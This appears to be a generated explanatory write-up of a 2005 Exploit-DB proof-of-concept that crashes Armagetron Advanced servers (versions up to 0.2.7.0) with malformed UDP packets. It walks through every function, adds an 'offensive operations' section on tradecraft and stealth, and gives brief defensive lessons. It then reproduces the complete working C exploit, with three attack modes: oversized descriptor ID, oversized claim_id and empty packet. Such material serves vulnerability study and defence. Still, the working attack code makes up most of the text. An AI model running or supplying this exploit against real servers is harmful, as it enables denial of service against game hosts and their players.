Armagetron Advanced 0.2.7.0 Server Crash Exploit Explained

Armagetron Advanced 0.2.7.0 Server Crash Exploit Explained
What this paper is
This paper details a vulnerability in Armagetron Advanced versions up to and including 0.2.7.0. The vulnerability allows an attacker to crash the Armagetron Advanced server by sending specially crafted network packets. The exploit code provided is a proof-of-concept designed to trigger these crashes. It targets UDP communication used by the server.
Simple technical breakdown
The Armagetron Advanced server, when running, listens for UDP packets on a specific port (default 4534). These packets are used for various game functions, including server information requests and player management. The vulnerability lies in how the server processes certain malformed packets.
The exploit sends specific UDP packets that are designed to cause an integer overflow or an out-of-bounds read/write within the server's network handling code. This leads to a crash, effectively a Denial of Service (DoS) against the game server.
There are three main attack vectors demonstrated:
- Big descriptor ID: Sending a packet with a very large identifier that the server doesn't expect, potentially leading to memory corruption.
- Big claim_id: Similar to the first, but targeting a different identifier related to player claims or connections.
- Empty packet: Sending a UDP packet with no data, which might trigger an unhandled exception if the server expects some data.
Complete code and payload walkthrough
The provided C code is a network utility designed to exploit the Armagetron Advanced server. It uses UDP sockets to communicate with the target server.
Let's break down the code and its components:
Includes and Definitions:
stdio.h,stdlib.h,string.h,time.h: Standard C libraries for input/output, memory allocation, string manipulation, and time functions.winsock.h(on Windows): For Windows Sockets API, enabling network communication.unistd.h,sys/socket.h,sys/types.h,arpa/inet.h,netinet/in.h,netdb.h(on Unix-like systems): Standard POSIX headers for socket programming.#define VER "0.1": Defines the version of the exploit tool.#define BUFFSZ 2048: Defines the buffer size for receiving data.#define PORT 4534: Defines the default UDP port for Armagetron Advanced.#define TIMEOUT 3: Defines the timeout in seconds for socket operations.#define SEND(x): A macro to simplify sending UDP data. It checks for send errors and callsstd_err()if an error occurs.#define RECV: A macro to simplify receiving UDP data. It uses atimeoutfunction to check for data and then callsrecvfrom. It also checks for receive errors and callsstd_err().
std_err function:
- Purpose: This function handles and prints network-related errors, especially for Windows Sockets.
- Inputs: None. It uses
WSAGetLastError()on Windows orerrnoon other systems. - Behavior: It checks the specific error code returned by the socket API and prints a human-readable description of the error. For unknown errors, it falls back to
strerror(errno). It then prints the error tostderrand exits the program. - Output: Prints an error message to
stderrand terminates the program.
show_info function:
- Purpose: This function parses and displays information received from the Armagetron server. This is used to retrieve server details before attempting the exploit.
- Inputs:
u_char *data(buffer containing received data),int len(length of the data). - Behavior:
- It first converts all received 16-bit unsigned integers (
u_short) from network byte order (big-endian) to host byte order usingntohs(). This is crucial for correctly interpreting the data. - It then parses specific fields from the data based on their expected offsets and lengths, including hostname, version, and player list.
- The
#define SHOW(x)macro is used to simplify the parsing of variable-length string fields. It reads a length, then the data, and prints it. It also handles padding.
- It first converts all received 16-bit unsigned integers (
- Output: Prints formatted server information to
stdout.
timeout function:
- Purpose: Implements a timeout mechanism for socket operations using
select(). - Inputs:
int sock(the socket descriptor). - Behavior:
- Sets up a
timevalstructure for a 3-second timeout. - Initializes a file descriptor set (
fd_set). - Adds the provided socket to the set.
- Calls
select()to wait for the socket to become readable, with the specified timeout. - If
select()returns an error, it callsstd_err(). - If
select()returns 0 (timeout), it means no data was received within the timeout period, and it returns -1. - If
select()returns a positive value, it means data is available, and it returns 0.
- Sets up a
- Output: Returns -1 on timeout, 0 if data is available, or calls
std_err()on error.
resolv function:
- Purpose: Resolves a hostname to an IP address.
- Inputs:
char *host(the hostname or IP address string). - Behavior:
- First, it attempts to convert the input string directly into an IP address using
inet_addr(). - If
inet_addr()returnsINADDR_NONE(indicating it's not a valid IP address string), it usesgethostbyname()to perform a DNS lookup. - If
gethostbyname()fails, it prints an error and exits. - If successful, it returns the IP address as a
u_long.
- First, it attempts to convert the input string directly into an IP address using
- Output: Returns the IP address of the host.
main function:
- Purpose: The main entry point of the exploit program. It handles command-line arguments, sets up the socket, sends the exploit packets, and checks for a server crash.
- Inputs:
int argc(argument count),char *argv[](argument values). - Behavior:
- Initializes standard output buffering to be unbuffered (
setbuf(stdout, NULL)). - Prints introductory information about the exploit.
- Checks if the correct number of command-line arguments are provided. If not, it prints usage instructions and exits.
- Initializes Winsock on Windows using
WSAStartup(). - Parses the target port from
argv[3]if provided, otherwise uses the defaultPORT. - Resolves the target hostname (
argv[2]) to an IP address usingresolv(). - Sets up the
sockaddr_instructure for the target peer. - Creates a UDP socket (
AF_INET,SOCK_DGRAM,IPPROTO_UDP). - Information Retrieval:
- Prints a message indicating it's retrieving information.
- Defines an
infopacket:\x00\x35\x00\x00\x00\x00\x00\x00. This is a UDP packet with a specific structure that Armagetron servers respond to with server details. - Sends the
infopacket using theSENDmacro. - Waits for a reply using the
RECVmacro. - Calls
show_info()to display the retrieved server details.
- Exploit Packet Sending:
- Prints a message indicating it's sending the BOOM packet.
- Uses a
switchstatement based onatoi(argv[1])to select the attack type:- Case 1 (Big descriptor ID):
- Defines a
pckbuffer. The initial bytes\x00\x06\x00\x26\x00\x01\x00\x04\x00\x00represent a specific packet structure. *(u_short *)pck = htons(0xffff);: This line is crucial. It overwrites the first two bytes of thepckbuffer with0xffff(65535) in network byte order. This value is intended to be interpreted as a descriptor ID, and its large size is expected to cause the server to crash.- Sends the modified
pckusing theSENDmacro.
- Defines a
- Case 2 (Big claim_id):
- Defines the
pckbuffer as before. *(u_short *)(pck + sizeof(pck) - 3) = htons(0xffff);: This line modifies a different part of the packet.sizeof(pck) - 3points to the second-to-last byte of thepckarray. It sets this location to0xffff(65535) in network byte order. This is intended to be interpreted as aclaim_id, and its large value is expected to trigger the crash.- Sends the modified
pckusing theSENDmacro.
- Defines the
- Case 3 (Socket unreacheable through empty packet):
SEND("");: Sends an empty UDP packet. This is a simpler DoS attempt, relying on the server's handling of zero-length packets.
- Case 1 (Big descriptor ID):
- If an invalid attack type is selected, it prints an error and exits.
- Server Check:
- Prints a message indicating it's checking the server.
- Sends the
infopacket again to see if the server responds. - Calls
timeout(sd)to wait for a reply. - If
timeout()returns -1 (meaning no reply was received within the timeout period), it declares the server vulnerable and prints "Server IS vulnerable!!!". This implies the server crashed and is no longer responding. - If a reply is received, it indicates the server is likely not vulnerable and prints "Server doesn't seem vulnerable".
- Closes the socket using
close(sd). - Returns 0 to indicate successful execution.
- Initializes standard output buffering to be unbuffered (
win32.h / std_err (Windows specific):
- This section provides a custom
std_errfunction for Windows that maps Winsock error codes to descriptive strings. It's included to make the exploit cross-platform.
#ifndef WIN32 / std_err (Unix specific):
- This provides a standard
std_errfunction for Unix-like systems usingperror()to display system errors.
Code Fragment/Block -> Practical Purpose Mapping:
#include <winsock.h>/#include <unistd.h>etc.: Setup Network Environment: Includes necessary headers for socket programming on the target operating system (Windows or Unix-like).#define PORT 4534: Target Port Configuration: Defines the default UDP port the Armagetron server listens on.#define TIMEOUT 3: Network Timeout Setting: Configures how long the exploit will wait for a response from the server, crucial for detecting a crash.#define SEND(x): Reliable UDP Send: A helper macro to send UDP packets, including basic error checking for the send operation.#define RECV: Reliable UDP Receive with Timeout: A helper macro to receive UDP packets, incorporating a timeout to detect if the server is no longer responding.void std_err(void): Error Reporting: A utility function to display network and system errors in a user-friendly way and exit the program gracefully.void show_info(u_char *data, int len): Server Information Decoder: Parses and displays server status information, useful for reconnaissance and confirming the target is running the vulnerable service.int timeout(int sock): Socket Timeout Checker: Implements a non-blocking wait for data on a socket, essential for detecting when a server has stopped responding.u_long resolv(char *host): Hostname to IP Resolution: Converts human-readable hostnames into IP addresses that can be used for network connections.int main(int argc, char *argv[]): Exploit Orchestration: The main function that parses arguments, initializes network components, sends exploit packets, and checks for vulnerability.struct sockaddr_in peer;: Target Address Structure: Holds the IP address and port of the target server.sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);: UDP Socket Creation: Creates the UDP socket used for communication.info[] = "\x00\x35\x00\x00\x00\x00\x00\x00";: Server Info Request Packet: A specific UDP payload designed to elicit server details from Armagetron.pck[] = "\x00\x06\x00\x26\x00\x01\x00\x04\x00\x00";: Base Exploit Packet Structure: The initial structure of the packet used for exploit attempts.*(u_short *)pck = htons(0xffff);(Attack 1): Descriptor ID Overflow: Modifies the beginning of thepckbuffer to send a large value as a descriptor ID, aiming to crash the server.*(u_short *)(pck + sizeof(pck) - 3) = htons(0xffff);(Attack 2): Claim ID Overflow: Modifies a specific offset within thepckbuffer to send a large value as a claim ID, aiming to crash the server.SEND("");(Attack 3): Empty Packet DoS: Sends a UDP packet with no data, attempting to exploit how the server handles malformed or empty requests.if(timeout(sd) < 0): Vulnerability Check: After sending the exploit packet, this checks if the server is still responding. A timeout indicates a successful crash.
Shellcode/Payload Segments:
This exploit does not use traditional shellcode in the sense of injected executable code. Instead, the "payload" is the crafted UDP packet itself. The exploit code constructs and sends these packets.
- Packet Type 1 (
\x00\x35followed by other data): This is a server information request. The\x00\x35likely signifies a packet type or length. The server responds with its hostname, version, player count, etc. - Packet Type 2 (
\x00\x06\x00\x26\x00\x01\x00\x04\x00\x00): This is the base structure for the exploit packets. The initial bytes likely represent a packet ID or command.- Attack 1 Modification:
*(u_short *)pck = htons(0xffff);overwrites the first two bytes (\x00\x06) with0xffff(65535). This large value is sent as a descriptor ID. - Attack 2 Modification:
*(u_short *)(pck + sizeof(pck) - 3) = htons(0xffff);overwrites bytes near the end of thepckbuffer with0xffff. This large value is sent as a claim ID.
- Attack 1 Modification:
- Attack 3:
SEND("");sends an empty UDP datagram.
The "payload" is the malformed UDP packet that triggers the vulnerability. The exploit code's primary function is to construct and send these packets.
Practical details for offensive operations teams
- Required Access Level: Network access to the target server's UDP port (default 4534). No elevated privileges on the target system are required, as this is a network-level denial-of-service attack.
- Lab Preconditions:
- A vulnerable Armagetron Advanced server (version <= 0.2.7.0) running and accessible on the network.
- A network path between the attacker's machine and the target server's UDP port.
- The attacker's machine should have the exploit code compiled and ready.
- Tooling Assumptions:
- A C compiler (e.g., GCC, MinGW) to compile the exploit code.
- Standard networking utilities.
- The exploit code itself.
- Execution Pitfalls:
- Incorrect Target: Targeting a server that is not running Armagetron Advanced or is running a patched version will result in no effect.
- Firewall Blocking: Network firewalls or host-based firewalls blocking UDP traffic on port 4534 will prevent the exploit from reaching the server.
- Incorrect Attack Type: Selecting the wrong attack type (e.g.,
attack 3whenattack 1is intended) might not trigger the crash or might have a different outcome. - Network Latency/Packet Loss: High network latency or packet loss could cause the exploit packet to be dropped or arrive too late, preventing the crash. The
TIMEOUTvalue in the exploit might need adjustment in such scenarios. - Server Restart: The primary effect is a crash. The server will likely restart automatically if configured to do so, limiting the duration of the denial of service.
- False Positives: The "Server doesn't seem vulnerable" message doesn't definitively prove the server is secure; it only means this specific exploit attempt didn't result in a detectable crash within the timeout period.
- Tradecraft Considerations:
- Reconnaissance: Before execution, confirm the target is running Armagetron Advanced and identify its IP address and port. The
show_infofunction can be used for this. - Stealth: UDP traffic can be less scrutinized than TCP, but large volumes of UDP packets can still be detected by network monitoring tools. The exploit sends only a few packets.
- Impact Assessment: Understand that this is a DoS attack. Its goal is to disrupt service, not gain unauthorized access.
- Post-Exploitation (DoS): The immediate aftermath is the server becoming unavailable. Observe network connectivity to the target port.
- Attribution: The exploit is relatively simple and doesn't employ advanced obfuscation techniques.
- Reconnaissance: Before execution, confirm the target is running Armagetron Advanced and identify its IP address and port. The
Where this was used and when
- Context: This exploit was developed and published in 2005. It targets a specific vulnerability in Armagetron Advanced, a 3D Tron-like multiplayer game.
- Usage: Such exploits are typically used by security researchers to demonstrate vulnerabilities, by penetration testers during authorized engagements to assess the security of game servers or applications using similar network protocols, or by malicious actors for denial-of-service attacks.
- Approximate Years/Dates: The exploit was published on February 10, 2005. The vulnerability likely existed in versions of Armagetron Advanced released prior to this date.
Defensive lessons for modern teams
- Input Validation is Crucial: Always validate the size and content of incoming network packets. Unexpectedly large values or malformed data structures should be handled gracefully, not by crashing the application.
- Robust Error Handling: Implement comprehensive error handling for network operations. Uncaught exceptions or unhandled error conditions can lead to instability and crashes.
- Secure Network Programming Practices:
- Use safe string manipulation functions.
- Be mindful of integer overflows and underflows.
- Properly manage buffer sizes and prevent out-of-bounds access.
- Regular Patching and Updates: Keep all software, including game servers and applications, updated to the latest stable versions to benefit from security patches.
- Network Segmentation and Firewalls: Implement network segmentation to isolate critical services. Use firewalls to restrict access to necessary ports and protocols, limiting the attack surface.
- Intrusion Detection/Prevention Systems (IDS/IPS): Deploy IDS/IPS solutions that can detect and potentially block anomalous network traffic patterns, such as malformed UDP packets.
- Fuzzing: Regularly fuzz network services with unexpected inputs to discover potential vulnerabilities before they are exploited in the wild.
ASCII visual (if applicable)
This exploit involves a client-server interaction over UDP. A simple visual representation of the attack flow:
+-----------------+ UDP Packet (Exploit) +-----------------+
| Attacker Client | ------------------------------> | Vulnerable Server |
| (Exploit Code) | | (Armagetron Adv.) |
+-----------------+ (Malformed Data) +-----------------+
|
|
v
+-----------------+
| Server Crash! |
| (Denial of |
| Service) |
+-----------------+
Explanation:
- The attacker's client, running the exploit code, constructs a specially crafted UDP packet.
- This packet is sent to the target Armagetron Advanced server on its listening UDP port.
- The vulnerable server attempts to process this malformed packet.
- Due to the vulnerability, the server crashes, resulting in a denial of service.
Source references
- Exploit-DB Paper: Armagetron Advanced 0.2.7.0 - Server Crash
- URL:
https://www.exploit-db.com/papers/810
- URL:
- Original Source Code: Provided within the Exploit-DB paper.
- Armagetron Advanced: The game software targeted by the exploit.
Original Exploit-DB Content (Verbatim)
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#ifdef WIN32
#include <winsock.h>
/* inserted win32.h /str0ke */
/*
Header file used for manage errors in Windows
It support socket and errno too
(this header replace the previous sock_errX.h)
*/
#include <string.h>
#include <errno.h>
void std_err(void) {
char *error;
switch(WSAGetLastError()) {
case 10004: error = "Interrupted system call"; break;
case 10009: error = "Bad file number"; break;
case 10013: error = "Permission denied"; break;
case 10014: error = "Bad address"; break;
case 10022: error = "Invalid argument (not bind)"; break;
case 10024: error = "Too many open files"; break;
case 10035: error = "Operation would block"; break;
case 10036: error = "Operation now in progress"; break;
case 10037: error = "Operation already in progress"; break;
case 10038: error = "Socket operation on non-socket"; break;
case 10039: error = "Destination address required"; break;
case 10040: error = "Message too long"; break;
case 10041: error = "Protocol wrong type for socket"; break;
case 10042: error = "Bad protocol option"; break;
case 10043: error = "Protocol not supported"; break;
case 10044: error = "Socket type not supported"; break;
case 10045: error = "Operation not supported on socket"; break;
case 10046: error = "Protocol family not supported"; break;
case 10047: error = "Address family not supported by protocol family"; break;
case 10048: error = "Address already in use"; break;
case 10049: error = "Can't assign requested address"; break;
case 10050: error = "Network is down"; break;
case 10051: error = "Network is unreachable"; break;
case 10052: error = "Net dropped connection or reset"; break;
case 10053: error = "Software caused connection abort"; break;
case 10054: error = "Connection reset by peer"; break;
case 10055: error = "No buffer space available"; break;
case 10056: error = "Socket is already connected"; break;
case 10057: error = "Socket is not connected"; break;
case 10058: error = "Can't send after socket shutdown"; break;
case 10059: error = "Too many references, can't splice"; break;
case 10060: error = "Connection timed out"; break;
case 10061: error = "Connection refused"; break;
case 10062: error = "Too many levels of symbolic links"; break;
case 10063: error = "File name too long"; break;
case 10064: error = "Host is down"; break;
case 10065: error = "No Route to Host"; break;
case 10066: error = "Directory not empty"; break;
case 10067: error = "Too many processes"; break;
case 10068: error = "Too many users"; break;
case 10069: error = "Disc Quota Exceeded"; break;
case 10070: error = "Stale NFS file handle"; break;
case 10091: error = "Network SubSystem is unavailable"; break;
case 10092: error = "WINSOCK DLL Version out of range"; break;
case 10093: error = "Successful WSASTARTUP not yet performed"; break;
case 10071: error = "Too many levels of remote in path"; break;
case 11001: error = "Host not found"; break;
case 11002: error = "Non-Authoritative Host not found"; break;
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
case 11004: error = "Valid name, no data record of requested type"; break;
default: error = strerror(errno); break;
}
fprintf(stderr, "\nError: %s\n", error);
exit(1);
}
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#endif
#define VER "0.1"
#define BUFFSZ 2048
#define PORT 4534
#define TIMEOUT 3
#define SEND(x) if(sendto(sd, x, sizeof(x) - 1, 0, (struct sockaddr *)&peer, sizeof(peer)) \
< 0) std_err();
#define RECV if(timeout(sd) < 0) { \
fputs("\nError: socket timeout, no reply received\n\n", stdout); \
exit(1); \
} \
len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); \
if(len < 0) std_err();
void show_info(u_char *data, int len);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
len;
u_short port = PORT;
u_char buff[BUFFSZ],
info[] =
"\x00\x35"
"\x00\x00"
"\x00\x00"
"\x00\x00",
pck[] =
"\x00\x06" // ID
"\x00\x26"
"\x00\x01"
"\x00\x04"
"\x00\x00"; // peers[claim_id]
setbuf(stdout, NULL);
fputs("\n"
"Armagetron / Armagetron Advanced <= 0.2.7.0 server crash "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 3) {
printf("\n"
"Usage: %s <attack> <host> [port(%d)]\n"
"\n"
"Attack:\n"
" 1 = crash caused by big descriptor ID\n"
" 2 = crash caused by big claim_id\n"
" 3 = socket unreacheable through empty packet\n"
"\n", argv[0], port);
exit(1);
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
if(argc > 3) port = atoi(argv[3]);
peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
fputs("- retrieve informations:\n", stdout);
SEND(info);
RECV;
show_info(buff, len);
fputs("- send BOOM packet\n", stdout);
switch(atoi(argv[1])) {
case 1: {
*(u_short *)pck = htons(0xffff);
SEND(pck);
} break;
case 2: {
*(u_short *)(pck + sizeof(pck) - 3) = htons(0xffff);
SEND(pck);
} break;
case 3: {
SEND("");
} break;
default: {
fputs("\nError: wrong type of attack selected\n\n", stdout);
exit(1);
}
}
fputs("- check server:\n", stdout);
SEND(info);
if(timeout(sd) < 0) {
fputs("\nServer IS vulnerable!!!\n\n", stdout);
} else {
fputs("\nServer doesn't seem vulnerable\n\n", stdout);
}
close(sd);
return(0);
}
void show_info(u_char *data, int len) {
#define SHOW(x) sz = *(u_short *)data; \
data += 2; \
if(sz > 1) printf(x "%s\n", data); \
data += sz + (sz & 1);
u_short *ds,
sz,
players;
u_char *p,
*p1;
ds = (u_short *)data;
for(len >>= 1; len--; ds++) {
*ds = ntohs(*ds);
}
fputc('\n', stdout);
data += 14;
SHOW(" Hostname ");
players = *(u_short *)data;
data += 12;
SHOW(" version ");
data += 4;
sz = *(u_short *)data;
data += 2;
printf(" %d players:\n", players);
for(p = data; players--; p = p1 + 1) {
p1 = strchr(p, '\n');
if(!p1) break;
*p1 = 0x00;
printf(" - %s\n", p);
}
data += sz + (sz & 1) + 4;
SHOW(" URL ");
fputc('\n', stdout);
#undef SHOW
}
int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
// milw0rm.com [2005-02-10]